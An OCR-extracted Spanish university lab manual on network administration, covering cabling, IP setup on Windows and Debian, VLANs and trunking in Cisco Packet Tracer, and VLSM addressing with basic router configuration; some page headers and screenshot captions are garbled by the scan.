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Practica 1

Configuracion Basica de Redes

Planeacion
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1.- Objetivo de aprendizaje

e El alumno o la alumna aplicarad los conocimientos adquiridos para la configuracién del
hardware, protocolos y software asociado a las redes locales de computadoras en los sistemas
operativos Linux en su version Debian y Windows.

e El alumno o la alumna empleara los parametros y elementos que se deben considerar en el
disefo de redes.

2.- Conceptos tedricos

Una red de computadoras es un sistema de interconexién entre equipos que permite compartir
recursos e informacion; para ello, es necesario contar no sélo con las computadoras, también con
tarjetas de red, cables de conexion, dispositivos periféricos y el software conveniente.

Inicialmente, la instalacién de una red se realiza con el objetivo de compartir dispositivos e
informacion, pero a medida que crece, permite el enlace entre personas mediante diversas
aplicaciones, como el correo electrénico, mensajes instantaneos, etcétera.

Las redes se clasifican de acuerdo con su alcance geografico en PAN, LAN, MAN y WAN. Una red de area
local esta formada por computadoras, periféricos y los elementos de conexidn de los mismos.

Las computadoras pueden desarrollar dos funciones: como servidores o estaciones de trabajo. Los
elementos de conexion son los cables, tarjetas de red y los dispositivos de interconectividad como los
hubs.

Dentro de los cables de conexion se tienen: el cable UTP, que consiste en dos hilos trenzados en forma
independiente y recubiertos de una capa aislante, y que es considerado de facil instalacion; el cable
STP, consistente en dos hilos trenzados en forma independiente y recubiertos de una malla metalica
que ofrece una proteccioén contra las interferencias externas; el cable coaxial, hilo de cobre envuelto
en una malla trenzada, separado por un material aislante; y, finalmente, la fibra éptica, formada por un
ntcleo de material transparente fino cuyo funcionamiento se basa en la transmision de las refracciones
de luz.

En la actualidad, en el mundo de los sistemas de cableado estructurado existen diferentes tipos de
servicios, por ejemplo, voz, datos, video, monitoreo, control de dispositivos, etcétera; éstos pueden
transmitirse sobre un mismo tipo de cable. El estandar mas conocido de cableado estructurado esta
definido por la EIA/TIA, y especificamente sobre el cable de par trenzado UTP de categoria 5e, 6 y 63,
estos estandares son: EIA/TIA 568A y EIA/TIA 568B.




mo_iN ' ;:4 Cddigo: MADO-32
YF.}} ' Manual de practicas del \I/Deérs:(ra]g: 5 /01589
w5 Laboratorio de Administracion 9
N de Redes Seccion ISO 8.3
g Ll Fechade | 14 4o agosto de 2023
emision
Area/Departamento:

Facultad de Ingenieria

Laboratorio de Redes y Seguridad

La impresion de este documento es una copia no controlada

Los dispositivos de interconexion proporcionan la capacidad de extender la distancia de cobertura de
una LAN, interconectar redes distantes o distintas y acceder a recursos centralizados; de la misma
manera, reducen los dominios de colisién y mejoran el rendimiento de las redes.

3.- Equipo y material necesario

3.1 Material que debe traer el alumno o la alumna
e 1 Cable de conexién directa configuracién T568-B UTP, categoria 5e o superior.
e 1 Cable de conexion cruzada categoria 5e o superior.
e 1 Flexdmetro.

3.2 Equipo del Laboratorio
e 2 PC’s Pentium con una NIC Ethernet 10/100 Mbps instalada en cada una de ellas.
e 1 Switch.
e 1hub.

4.- Desarrollo
Modo de trabajar
La practica se desarrollara en equipos.

NOTA: Las actividades en este punto serdn realizadas haciendo uso de un video como base y las
explicaciones del profesor o profesora cuando la sesidon de la clase se realice en modalidad a
distancia.

4.1 Cableado Estructurado aplicado en el laboratorio

Esta primera parte consiste en analizar las caracteristicas del cableado estructurado implementado en
lared LAN Ethernet del Laboratorio de Redes y Seguridad. Se analizara la trayectoria que sigue el cable
desde un nodo a través de la canaleta, hasta llegar al rack, donde es distribuido por el panel de parcheo
y enlazado con cables patch cord al switch.

Actividad opcional:

Realice un diagrama fisico de la red del Laboratorio, indicando los subsistemas del cableado
estructurado y mostrando la ubicacion de los equipos dentro del espacio geografico, remarcando las
conexiones con los jacks, nimero de nodos y como el cable UTP viaja a través de las canaletas hasta
llegar al rack. El diagrama debe presentar las longitudes, asi como el nombre especifico de los hosts
que integran a la red.
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El diagrama de red, se debe presentar y entregar al profesor o a la profesora en la siguiente
sesion de laboratorio; debe elaborarse con base en las indicaciones del profesor o de la profesora, de
manera que sea entendible y permita la documentacion de la red.

El panel de parcheo consiste en un bloque con un nimero determinado de tomas, el cual corresponde
a la cantidad de puertos; es decir, un bloque de 24 tomas es un panel para 24 puertos. Vea la Figura
No. 1.

Figura No. 1 Panel de parcheo

Indique en el siguiente diagrama, que muestra una seccion de la parte frontal del panel de parcheo del
Laboratorio de Redes, cada una de sus nombres y caracteristicas. Véase la Figura No. 2.

Figura No. 2 Una seccion frontal del panel de parcheo

Indique los componentes de la parte trasera del panel de parcheo y su funcionamiento, tal como se
muestra en la Figura No. 3.
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Figura No. 3 Vista trasera del panel de parcheo
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4.2 Sistema Operativo Windows

4.2.1 Conexion punto a punto

Esta segunda parte consiste en crear una red LAN Ethernet entre dos computadoras sin un dispositivo
intermedio. Ademas de las conexiones fisicas (capas de enlace de datos y fisica), sera necesario realizar

la configuracién del protocolo TCP/IP de modo que exista comunicacion.

NOTA: No es necesario un hub o algin otro dispositivo de red para la interconexion en esta
primera etapa.

Actividad:
Anote la configuracion IP existente en la Tabla 1.1 para poder restaurarla al final de la practica.

Tabla 1.1 Configuracion de la IP en host Ay en host B

Parametros de configuracion Host A Host B

Direccion IP

Mascara de subred

Puerta de enlace predeterminada

Servidor DNS preferido

Servidor DNS alternativo

Realice la configuracién necesaria para la interconexién punto a punto entre dos PC’s, como se
observa en la Figura No. 4.

Figura No. 4. Conexi6én punto a punto, sistema Windows
Cuando termine de realizar la configuracién punto a punto y las pruebas de conectividad, llame a su
profesor o profesora para que revise la actividad.
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4.2.2 Conexion a un hub o switch

Los hubs son dispositivos que permiten interconectar cables de manera que simulan el
comportamiento de un bus en comun; se le puede considerar como un repetidor multipuerto, pues
toma la sefial que entra por un puerto y la repite en todos los demas. Un hub sirve para segmentar la
red, pero no crea nuevos dominios de colision.

Entre las principales ventajas de contar con un hub encontramos:
e En estandares como IEEE 802.3 y 803.5 se permite la interconexioén de dispositivos mediante
cables pares a un punto central, facilitando la incorporacién de nuevos elementos a la red.
e Permite la implementacién de la topologia en estrella extendida, facilitando la extension de la
red.
Los hubs son los dispositivos mas utilizados para la implementacion de redes LAN, siendo la base de
instalaciones del cableado estructurado.

Un hub Ethernet funciona de la siguiente manera: recibe la sefial por un puerto a través del par de
transmision 3 y 6 del cable, la regenera, sincroniza y reenvia por todos los pares de recepcién (par 1y
2 del cable) al resto de los puertos.

Actividad:
En esta parte de la practica el objetivo consiste en crear una red LAN Ethernet con dos o tres

computadoras y un dispositivo de la capa 1 o 2, el dispositivo sera proporcionado por el profesor o la
profesora (Figura No. 5). Realice las conexiones y configuraciones necesarias.

Switch

Figura No. 5 Conexion con un hub, sistema Windows

Cuando termine de realizar la configuracién punto a punto y las pruebas de conectividad, llame a su
profesor o profesora para que revise la actividad.

Restablecimiento de la configuracion
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Restablezca la configuracion IP original de las computadoras, desconecte los equipos.
4.3 Sistema Operativo Linux

4.3.1 Conexién punto a punto
El sistema operativo Linux es la base de muchos servidores en la red; conocer sus caracteristicas de
comportamiento, asi como la manera de resolver problemas de configuraciéon de red, es vital para los

administradores.

Este punto de la practica tiene por objetivo conectar dos computadoras directamente, creando una
red, empleando el cable cruzado (crossover) en el sistema Debian.

4.3.1.1 Abra la aplicacion VirtualBox

NOTA: Antes de iniciar la maquina virtual verifique en la opcién Red que se encuentre marcada
la opcién Habilitar adaptador de red->Conectado a: Adaptador puente (Figura No. 6).

<) detuan - Combguracsn

Selecoore uns Cotepond de confiuracdn de by lsta de ls ouerdy y mueve & ratdn sobve un
slemento de configuracdn pers cbiener mds Pformacdn.

Aceptar Canceler Avuds

Figura No. 6. Conexion de red.
4.3.1.2 Encienda la maquina virtual
4.3.1.3 Elija la opciéon de cargar Linux, distribucién Debian.
NOTA: En caso de que le aparezca la imagen de instalacion (Figura No. 7), dé clic derecho

sobre el disco duro. Seleccione la opcién que se encuentra palomeada para deseleccionarla,
apague la maquina virtual y vuelva a iniciarla.
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7 Dabine [Comerche] - Grarie YM Vikaath

7 e Kol - Comn A4 Vorntbon —

Figura No. 7. Inicio de Maquina Virtual.

4.3.1.4 Inicie sesion en la cuenta de redes.

4.3.1.5 Abra una terminal e ingrese como super usuario, para ello teclee el comando que se muestra a
continuacion. (Ver Figura No. 8)

redes@debian:~$ su

NOTA: su significa super usuario, por lo que se emplea la misma contrasefia de root

.|
M= redes@DEBIAN2023: ~ Q = x

redes@DEBIAN2023:~% su
Password:

Figura No. 8. Terminal de comandos como root.

Actividad:

Es indispensable iniciar la practica con todos los dispositivos encendidos, en la sesién de root y el
cableado desconectado.

NOTA: Cualquier cambio que se realice en la configuracion del equipo sera responsabilidad de
los alumnos asignados al equipo.

10
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NOTA: Para realizar la practica exitosamente debe tener instalado el paquete ifconfig.
Escriba el siguiente comando para ver la configuracidn actual de la tarjeta de red.
root@debian:/home/redes# ifconfig enp0s3

Con la informacién obtenida del comando anterior complete los campos correspondientes en la Tabla
No. 1.2. Para llenar la tabla revise el archivo de configuracion interfaces, el cual se encuentra en la
siguiente ruta, teclee:

root@debian:/home/redes# nano /etc/network/interfaces.

Tabla No. 1.2 Configuraciéon de pardmetros iniciales de la IP en host Ay en host B

Parametros de
configuracion

Host A Host B

Direccion IP

Mascara de subred

Broadcast

Gateway

Realice la configuracion necesaria para la interconexion punto a punto entre dos PC’s, como se observa
en la Figura No. 9.

Figura No. 9 Conexion punto a punto, en el sistema operativo Linux Debian.

Cuando termine de realizar la configuracién punto a punto y las pruebas de conectividad, llame a su
profesor o profesora para que revise la actividad.

4.3.2 Conexion a un hub o switch

Los hubs o concentradores son dispositivos que permiten centralizar el cableado de una red. Cuentan
con varios puertos y requieren una conexion a la red eléctrica por medio de un transformador de 12V.
Son la base de la topologia estrella. Hay que tomar en cuenta las siguientes caracteristicas:

e El namero de puertos; los hay con 5, 8, 16, 32 0 mas.

11
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¢ Lavelocidad; principalmente es de 10Mb, de 100Mb, y los que son 10/100Mb a la vez. También
los hay de 1000Mb.
La configuracién del protocolo TCP/IP para los sistemas Linux es posible realizarla a través de la
interfaz grafica proporcionada por Debian y mediante linea de comando.

Actividad:
En este punto de la practica el objetivo consiste en crear una red LAN Ethernet con tres computadoras

y un dispositivo de la capa 1 o 2, el dispositivo serd proporcionado por el profesor o la profesora, ver
Figura No. 10.

Figura No. 10 Conexion con un hub, sistema Linux Debian

Cuando termine de realizar la configuraciéon punto a punto y pruebas de conectividad, llame a su
profesor o profesora para que revise la actividad.

Restablecimiento de la configuracion

Restablezca la configuracion IP y los parametros originales de las computadoras.

Actividad:

Un administrador de redes debe saber configurar los servicios de red en linea de comando, debido a
que existen ocasiones en las que no es posible levantar el GUI o bien la administracién requiere hacerse
remotamente. La herramienta necesaria para realizar la administracion por linea de comandos de una

tarjeta de red es ifconfig.

Conecte el cable de la roseta a la NIC de la computadora asignada, identifique el nodo y verifique que
su cable correspondiente del panel de parcheo corresponda al puerto indicado del switch.

12
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Configure la tarjeta de red mediante la herramienta ifconfig; ejecute el comando con la direccion IP.

root@debian:/home/redes# ifconfig enp0s3 192.168.2.X netmask 255.255.255.0
NOTA: La X hay que sustituirla por la direccion IP de la maquina que esta empleando.

Verifique la configuracion del dispositivo de red enp0s3 a través del comando ifconfig enp0s3. Observe
que la tarjeta tenga la direccion IP configurada.

Pruebe la conectividad entre las estaciones de trabajo haciendo ping a la direccion IP de la otra
computadora.

Apague la maquina virtual, cierre sesion en la computadora sin apagar el equipo.

Explique qué sucede con la configuracion y fundamente su justificacion.

¢;Con qué otro comando se puede obtener el mismo efecto de reboot?

4.4 Cuestionario

1. ;Cuales son los elementos del disefio de una red que se utilizaron en la practica?

2. ¢Para crear unared con acceso a Internet que parametros de red se necesitan?

13
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5.- Conclusiones

Revise los objetivos de la practica y las actividades realizadas y emita sus conclusiones.

14
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PRACTICA 1

Configuracién Basica de Redes
Cuestionario Previo

;Qué es la planeacién y cual es su importancia?

¢;Cudles son los parametros necesarios para la configuracién de una red de computadoras?

En Debian, ;cudles son los archivos necesarios para la configuraciéon de la red?, dé una breve
explicacion de su contenido.

;Cudles son los elementos del disefio de red?

(Para qué se usa el comando apt-get install ifconfig o apt install ifconfig?

;Con qué otros nombres se pueden identificar a la NIC ademas de eth0?

Investigue a qué se le conoce como estandares de Internet.

;Qué es cableado estructurado?

;Cudles son los principales estandares que se refieren al cableado de telecomunicaciones en
edificios?

. ¢Qué significa nivel de confianza en los dispositivos de redes de datos?
. (Cémo se deshabilita un firewall en Windows y en Linux?
. Para emplear el software Cisco Packet Tracer debe contar con una cuenta en Skills for All,

consulte el Anexo de este manual para crearla, si ya tiene una cuenta, puede consultar el mismo
anexo para utilizar el software.

15
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Practica 2

Manejo de VLAN

Planeacion

16
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1.- Objetivo de aprendizaje

e El alumno o la alumna realizara el analisis y la configuraciéon de una VLAN empleando el
software de simulacion de red Cisco Packet Tracer.

2.- Conceptos tedricos

Una VLAN (Virtual LAN) funciona igual que una LAN, pero con la diferencia de que los equipos o
estaciones de trabajo no necesariamente deben estar ubicados en un mismo segmento fisico, es decir,
agrupa a un conjunto de dispositivos de red de manera légica.

Las ventajas que proporciona el uso de las VLAN son, por ejemplo; la seguridad, ya que los grupos que
tienen datos sensibles se separan del resto de la red, disminuyendo las posibilidades de que ocurran
violaciones de informacidén confidencial; la reduccién de costos; aumento de la flexibilidad; un mejor
rendimiento, debido a que reduce el trafico innecesario en la red y aumenta el rendimiento de ésta.

Rangos de los ID de una VLAN.

Un ID es un nimero identificador que se emplea para definir a una VLAN de otra. Por ejemplo; VLAN
10, VLAN 20, etcétera.

Los rangos se clasifican en:

a) VLAN de rango normal.
e Se utiliza en redes de pequefias y medianos negocios y empresas.
e Seidentifica mediante un ID de VLAN entre 1y 1005, de 1002 a 1005 se reserva para token
ring y las VLAN FDDL.
e EIID1,yde 1002 a 1005 se crean automaticamente y no se pueden eliminar.
e Se guarda en el archivo vlan.dat en la memoria flash.

b) VLAN de Rango extendido:
e Seidentifican mediante un ID de VLAN entre 1006 y 4094.
e Se disefan para los proveedores de servicios.
e Poseen menos opciones que las VLAN de rango normal.

Tipos de VLAN

a) VLAN de datos: Es configurada para transportar trafico generado por los usuarios.

b) VLAN predeterminada: Todos los puertos del switch se vuelven parte de la VLAN
predeterminada, los puertos del switch que participan en la VLAN predeterminada forman
parte del mismo dominio de difusién. La VLAN predeterminada para los switches Cisco es la
VLAN 1.
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La VLAN 1 tiene todas las caracteristicas de cualquier VLAN, excepto que no se le puede
cambiar el nombre, ni se puede eliminar.

c) VLAN nativa: Una VLAN nativa estd asignada a un puerto troncal 802.1Q. Los puertos de enlace
troncal son los enlaces entre switches que admiten la transmision de trafico asociado a mas de
una VLAN.

d) VLAN de administracién: Una VLAN de administracion es cualquier VLAN que se configura
para acceder a las capacidades administrativas de un switch. La VLAN 1 es la VLAN de
administracion de manera predeterminada.

Para crear la VLAN de administracion, se asigna una direccién IP y una mascara de subred a la
interfaz virtual del switch, lo que permite que el switch se administre mediante HTTP, Telnet,
SSH o SNMP.

e) VLAN de voz: El trafico de VoIP requiere de ancho de banda garantizado para asegurar la
calidad de la voz, prioridad de la transmisidn sobre los tipos de trafico de red, capacidad para
ser enrutado en areas congestionadas de la red.

3.- Equipo y material necesario

3.1 Equipo del Laboratorio
e Computadora con Cisco Packet Tracer.

4.- Desarrollo.

Modo de trabajar

La practica se desarrollara por parejas

4.1 Diseno de las VLAN

4.1.1 Encienda el sistema y elija la opcion de cargar Windows.

4.1.2 Inicie sesion en una cuenta con privilegios de administrador.
4.1.3 Ejecute la aplicacion Cisco Packet Tracer. (Ver Figura No. 1)
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Figura No. 1. Simulador de CISCO Packet Tracer

El objetivo de la Figura No. 2 serd conocer la aplicacién y los elementos importantes:
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¥ Cisco Packet Tracer
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Figura No. 2. Area de trabajo del Simulador de CISCO Packet Tracer
4.1.4 Agregue al area de trabajo los siguientes componentes asi como se muestra en la figura No. 3.
3 switches 2950-24

1 Router-PT
9 Computadoras PC-PT

20




moim ;:4 Cddigo: MADO-32
Yw‘ ' Manual de practicas del \lljeérs:(r)]g: 21(/)15 39
w5 Laboratorio de Administracion 9
N de Redes Seccidén ISO 8.3
| ) - Fecha de
.y 11 de agosto de 2023
emision
Area/Departamento:

Facultad de Ingenieria

Laboratorio de Redes y Seguridad

La impresion de este documento es una copia no controlada

1841
Routerd

WLAN 10

4.1.5 Las conexiones deben realizarse conforme a la tabla 1.

Tabla 1. Enlaces de la red.

WVLAN 20

WLAN 30

Figura No. 3. Topologia de Red.

Dispositivo Inicial | Dispositivo Final
Red . .
e interfaz e interfaz

Router0 Fa0/0 Switchl Fa0/1

Switch0 Fa0/1 Switch1 Fa0/2

Switch1 Fa0/3 Switch2 Fa0/1

PCO Switch0 Fa0/2

VLAN 10 PC1 Switch1 Fa0/4
PC2 Switch2 Fa0/2

PC3 Switch0 Fa0/3

VLAN 20 PC4 Switch1 Fa0/5
PC5 Switch2 Fa0/3

VLAN 30 PC6 Switch0 Fa0/4
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PC7
PC8

Switch1 Fa0/6
Switch2 Fa0/4

4.2 Configuracion de las VLAN

4.2.1

Donde:

Para agregar una VLAN es necesario configurar su identificador y su nombre en el switch. Dé
clic sobre el switchO y dirijase a la pestafia CLI, en donde debe introducir los siguientes
comandos:

SwitchO>enable

SwitchO#configure terminal
SwitchO(config)#vlan vlan-id
SwitchO(config-vlan)# name nombre-de-vlan
SwitchO(config-vlan)#exit

vlan-id: Se sustituye por el nimero que identifica a cada VLAN. (ejemplo, para la VLAN 10 su niimero
identificador es el 10).

nombre-de-vlan: Se sustituye por el nombre asignado a cada VLAN. (ejemplo: para la VLAN 10 le
corresponde el nombre DOCENTE). Este proceso debe realizarse en todos los switches para todas las

VLAN.

4.2.2

4.2.3

Realice el procedimiento del paso anterior (4.2.1) para el resto de las VLAN, con los nombres e
identificadores que se muestran en la tabla 2.

Tabla 2. Nombres y ID de cada VLAN

VLAN NOMBRE ID
VLAN 10 DOCENTE 10
VLAN 20 ESTUDIANTE 20
VLAN 30 INVITADO 30

Es necesario configurar las interfaces de un switch que fueron asignados a una VLAN especifica.
Para ello, debe ingresar al modo de configuracion de la interfaz del switch0O (dé clic sobre el
switchO y dirijase a la pestafia CLI, tal como lo hizo en el punto 4.2.1) y seleccionar la interfaz
correspondiente, introduciendo los siguientes comandos:

Ejemplo para la VLAN 10:

Switch0O>enable

SwitchO#configure terminal
SwitchO(config)# interface interface-id
SwitchO(config-if)# switchport mode access
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SwitchO(config-if)# switchport access vlan vlan-id
SwitchO(config-if)# exit

NOTA: La interfaz fa0/2 del switchO esta conectada a la PCO y se encuentra asociada a la VLAN 10.

Donde:

e interface: Es el comando para entrar al modo de configuracién de interfaz.
interface-id: se sustituye por el puerto a configurar (por ejemplo: fa0/2).
switchport mode access: Define el modo de asociacion a la VLAN para el puerto.
switchport acces vlan: Asigna un puerto a la VLAN.
vlan-id: se sustituye por el nimero identificador de la VLAN(ejemplo; 10)

4.2.4 Realice el proceso del paso 4.2.3 para las VLAN 20 y 30 dentro del switch0Q. A continuacion,
configure de la misma forma las interfaces del switch1 y del switch2. Recuerde considerar las
conexiones mostradas en la tabla 1 para saber qué interfaces pertenecen a cada VLAN.

4.2.5 Dé clic sobre el switch0, seleccione la pestaiia CLI y entre en modo usuario empleando el
comando:

Switch0> enable

Introduzca el comando show running-config (presione enter o barra espaciadora para avanzar).
Localice la informacion referente a las interfaces y analice el resultado obtenido.

4.2.6 Defina con su profesor o profesora y escriba en la tabla 3 qué direccién IP, mascara de subred
y gateway utilizara en cada VLAN, de acuerdo con cada segmento de red proporcionado.
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Tabla 3. Direcciones de red.
Rango de
direcciones IP

VLAN | Segmento de red Mascara | Gateway

N
10

20

30

Investigue qué configuracion debe realizarse para acceder a un switch Cisco mediante direccién IP en
red de area local.

4.3 Configuracion de un enlace troncal 802.1Q

Un enlace troncal es un enlace punto a punto entre dos dispositivos de red que lleva el trafico de varias
VLAN. Un enlace troncal de VLAN no pertenece a una VLAN especifica, sino que es un conducto para
las VLAN entre dispositivos de red intermedios.

Existen diferentes modos de enlaces troncales como el 802.1Q y el ISL. En la actualidad se utiliza el
802.1Q dado que el ISL es empleado por las redes antiguas. Un puerto de enlace troncal IEEE 802.1Q
admite trafico etiquetado y sin etiquetar, el enlace troncal dindmico DTP es un protocolo propiedad de
cisco, éste administra la negociacién del enlace troncal sélo si el puerto en el otro switch se configura
en modo de enlace troncal que admita DTP.

4.3.1 Mencione cudles son los enlaces (interfaces) troncales de acuerdo con la topologia que ha
construido (ver figura No. 3).
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4.3.2 Entre en modo privilegiado al switchO (dé clic sobre el switch y dirfjase a la pestafia CLI) y
teclee los siguientes comandos:

switchO>enable

switchO#configure terminal
switchO(config)# interface interface-id
switchO(config-if)# switchport mode trunk
switchO(config-if)# exit

Donde:
e interface-id: se sustituye por el puerto del enlace troncal (ejemplo para el switch0: fa0/1).
e switchport mode trunk: Define que el enlace que conecta a los switches sea un enlace
troncal.
e id-vlan: se sustituye por el nimero identificador de la VLAN.

4.3.3 Entre en modo privilegiado al switch1 (dé clic sobre el switch y dirijase a la pestafia CLI) y
teclee los siguientes comandos:

Switch1>enable

Switch1#configure terminal
Switch1(config)# interface interface-id
Switch1(config-if)# switchport mode trunk
Switch1(config-if)# exit

Donde:
¢ interface-id: se sustituye por el puerto del enlace troncal .
o switchport mode trunk: Define que el enlace que conecta a los switches sea un enlace
troncal.
e id-vlan: se sustituye por el nimero identificador de la VLAN.
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4.4 Intercomunicacion entre VLAN's
Por si sdlo, un switch de capa 2 no tiene la capacidad de enrutar paquetes entre VLAN’s diferentes. Si
ya han sido creadas las VLAN y se han asignado mas de una computadora a cada VLAN, entonces las

computadoras que se encuentran en la misma VLAN pueden comunicarse entre si.

4.4.1 Explique. ;Qué sucederia si por ejemplo, la VLAN 10 se quiere comunicar con la VLAN 20?

4.5 Configuracion de subinterfaces en un router.

Un router so6lo puede tener una direccion IP por interface. Puesto que el enlace troncal entre switch y
router es unico y cada VLAN requiere su propia puerta de enlace, es necesario crear subinterfaces. Una
subinterfaz es una interfaz l6gica dada de alta en una interfaz fisica del router. Sea crearan tres
subinterfaces en el router0Q y cada una sera designada para cada VLAN (Ver tabla 3). Dé clic sobre el
router( y dirijase a la pestafia CLI. Introduzca los siguientes comandos:

routerO>enable

routerO#configure terminal

routerO(config)# interface interface-id.vlan-id
router0(config-subif)# encapsulation dot1q vlan-id
router0(config-subif)# ip address direccidon_ip mascara
router0(config-subif)# exit

Donde:

e interface-id.vlan-id: se sustituye para crear una subinterfaz para una VLAN. (ejemplo para
la VLAN 10; fa0/0.10)

e encapsulation dot1q: configura la subinterfaz para que funcione en una VLAN especifica.

e vlan-id: se sustituye por el identificador de la VLAN. (ejemplo para la vlan 10, su id es 10).

e direccidn_ip: Se sustituye por la direccion IP de la puerta de enlace predeterminada para la
subred de la VLAN.

¢ mascara: mascara de subred de la puerta de enlace
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4.5.1 Levante el resto de subinterfaces para las VLAN 20 y 30. Recuerde que es necesario habilitar
las interfaces de un router para que comiencen a transmitir; en el caso de las subinterfaces solo
se requiere habilitar la interfaz fisica respectiva con el comando

router((config-subif)# no shutdown

4.5.2 Finalmente asigne direcciones IP, mascara y Gateway a cada una de las PC’s, de acuerdo a los
segmentos de red proporcionados en la tabla 3. Para ello de clic sobre la PC y dirijase a la
pestafia “Desktop”, posteriormente de clic en “IP Configuration” y escriba las direcciones IP
correspondientes en cada PC.

4.5.3 Si las VLAN han sido configuradas correctamente, realice las pruebas necesarias (haciendo
ping de una PC a otra) para verificar que toda la red funciona correctamente. Para ello dé-clic
sobre una PCy seleccione la pestafa “Desktop”, posteriormente dé clic sobre “comand prompt”
y finalmente mande ping a una direccion destino perteneciente a una VLAN diferente a aquella
donde se encuentra la PC sobre la cual dio clic.

4.5.4 Repita el paso anterior en diferentes PC’s. Muestre a su profesor o profesora y comente el
resultado obtenido.

4.3 Cuestionario

1.- Mencione las ventajas y desventajas de configurar una VLAN.

2.- Describa cuales son los tipos de VLAN que existen.

3. Investigue e introduzca el comando “show vlan brief” en el switchO.
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4.- Investigue cémo se elimina la configuracién de una VLAN.

5.- Conclusiones

Revise los objetivos de la practica y las actividades realizadas y emita sus conclusiones.
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s W

PRACTICA 2

Manejo de VLAN
Cuestionario Previo

;Qué es una VLAN?

;Cudles son los las principales ventajas y desventajas de utilizar una VLAN?

;Cudles son los tipos de VLAN que existen?

Mencione qué es un enlace troncal y como se configuran.

Investigue para qué sirven los siguientes comandos en cisco packet tracer:

- show vlan brief

- showid vlan-id

- show vlan name nombre de vlan

- show vlan resumen

Investigue como se elimina la configuraciéon de una VLAN.

Para emplear el software Cisco Packet Tracer debe contar con una cuenta en Skills for All,
consulte el Anexo de este manual para crearla, si ya tiene una cuenta, puede consultar el mismo
anexo para utilizar el software.
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Practica 3

Direccionamiento y configuracion
de los dispositivos: routers

Planeacion
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1.- Objetivos de Aprendizaje

e El alumno o la alumna disefara el direccionamiento de una topologia, utilizando el esquema
de direccionamiento VLSM.
e Elalumno o la alumna manipulara y configurara routers como equipos de interconexion.

2.- Conceptos tedricos

A lo largo de la historia han cambiado los esquemas de direccionamiento para ajustarse a las
necesidades de la creaciéon de redes y subredes IP. En un inicio el esquema utilizado era el
direccionamiento Classfull, el cual presentaba serios problemas de desperdicio de direcciones al
asignar la direccion de red de acuerdo con las direcciones con clase (clase A, By C); como solucién a
este gran inconveniente surgi6 el esquema de direccionamiento Subnetting (subneteo). Este nuevo
esquema permite dividir una red con clase en subredes, pero ain no soluciona eficientemente el
problema de desperdicio de direcciones IP ya que todas las subredes deben utilizar la misma mdascara
de subred de longitud fija.

El problema con este esquema de direccionamiento se presenta cuando las subredes no tienen un
numero homogéneo de hosts, como la mascara de subred se asigna de acuerdo con la subred con mayor
numero de hosts, las subredes que requieran menor niimero de hosts aun desperdiciaran direcciones
IP.

VLSM (Mascara de subred de longitud variable - Variable Length Subnet Mask) es el esquema de
direccionamiento que surgi6é a continuacion. Utilizando este esquema se pueden aprovechar de una
mejor manera las direcciones IP. Este esquema, como su nombre lo indica, permite dividir una red en
subredes utilizando una mascara de subred de longitud variable, por lo tanto, en caso de que las
subredes no tengan un nimero homogéneo de hosts la mascara de subred podra ir cambiando de
acuerdo con los requerimientos de cada subred. Utilizando este esquema de direccionamiento aun se
desperdician algunas direcciones IP pero se aprovechan mejor que con los esquemas antes
mencionados.

En la actualidad, la técnica empleada es CIDR (Classless Interdomain Routing), 1a cual utiliza y combina
el concepto y funcionamiento del esquema de direccionamiento VLSM y otro esquema llamado
Supernetting (superneteo).

El router es un dispositivo hardware o bien un software corriendo sobre una computadora, encargado
principalmente de tomar decisiones de reenvio de paquetes de acuerdo con las tablas de enrutamiento
que tiene almacenadas. Este dispositivo trabaja en la capa 3, capa de Red, del modelo de referencia OSI.

Este dispositivo puede ser configurado desde una aplicacién de emulacién de terminal, como la
Hyperterminal de Windows, desde la CLI (Command Line Interface - Interfaz de Linea de Comandos),
desde alguna aplicacién de administracion del dispositivo (generalmente, proporcionada al momento
de realizar la compra del dispositivo o comprada por separado) o desde una aplicaciéon de
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administracion basada en Web. Estas opciones de configuracion varian de acuerdo con el dispositivo
utilizado, es posible que s6lo una de éstas esté disponible o bien, que exista mas de una de estas
opciones para el dispositivo.

En esta practica utilizaremos la CLI para configurar algunos parametros basicos en el router. Existen
distintos pardmetros que podemos configurar en nuestro dispositivo, los que nosotros configuraremos
son:

Nombre del host

Contrasena de acceso por lineas VTY

Contrasena de acceso por linea de consola

Contrasena cifrada para ingresar al modo privilegiado
Mensaje de inicio de sesion (MOTD)

Direccidn IP de las interfaces del router

Descripcion de las interfaces del router

Sefial de sincronizacién para los routers (Dispositivo DCE)
Rutas estaticas

3.- Equipo y material necesario
Equipo del Laboratorio:

e PC’s Pentium con una NIC Ethernet 10/100 Mbps instalada en cada una de ellas.
e Software de simulacion de Cisco, Packet Tracer.

4.- Desarrollo

Modo de trabajar

La practica se desarrollara en parejas.

4.1 Esquema de direccionamiento VLSM (Variable Lenght Subnet Mask)

4.1.1 Latopologia utilizada en esta practica es la que se muestra a continuacion (ver Figura 1.1). El

segmento de red asignado es el mismo que le proporciond su profesor o profesora para
resolver la dltima pregunta del cuestionario previo.
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4.1.2 Ordenar las LAN y WAN en orden descendente de acuerdo con la cantidad de hosts que
necesitan. Las WAN deben conservar el orden indicado en la Figura No. 1 de acuerdo con el
numero de WAN.

1) 6)
2) 7)
3) 8)
4) 9)
5)

4.1.3

Realizar el direccionamiento de acuerdo con el orden anterior comenzando desde la subred

cero y llenar la Tabla 1.1. Es importante conservar el orden en ambas tablas.

Tabla 1.1. Tabla de direccionamiento VLSM

No Rango de
) Segmento | Prefijo direcciones Broadcast
Subred .
asignables
1
2
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4.1.4 Asignar las direcciones a los dispositivos de acuerdo con la Tabla 1.2. La primera direccién
utilizable de cada LAN se debe asignar a la PC de la LAN correspondiente. La tltima direccién
utilizable de cada LAN se debe asignar a la interfaz LAN del router correspondiente. En los
enlaces WAN, la primera direccién utilizable se debe asignar al router ubicado en el extremo
izquierdo del enlace, la dltima direccién utilizable se debe asignar al router ubicado en el
extremo derecho del enlace.

Tabla 1.2. Tabla de asi

nacion de direcciones

Dispositivo

Interfaz

Direccion IP

Mascara de
Subred

Puerta de
Enlace

Router0

Routerl

Router?2

Router3

Router4

Routerb
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PCO

PC1

PC 2

PC3

4.2 Configuracion de un router

4.2.1 Inicie el simulador PacketTracer (Ver Figura No. 2)

O Packet Traces 51 by Cisco Systems, Inc. e |
Mt Bl Opooes Ve Heramientas  Extensones  Avuda

b= BB 000 M

x
B
b
e
: . Te B
Tiempo: 0:0:00 i Dispositavos de Enargia Tiempo Real
p P : — . |Dispara  Uhtimo Estado  Ongen  Dest
Sl &S S S e W
‘Il.-l *r‘mu_.. TR pmat amans Ntve TP
= P s - Heccione un Dispositive para Amal | yeceacs de Lisin POU
¢ Soltar an al Espackr de Trabaje) | T—

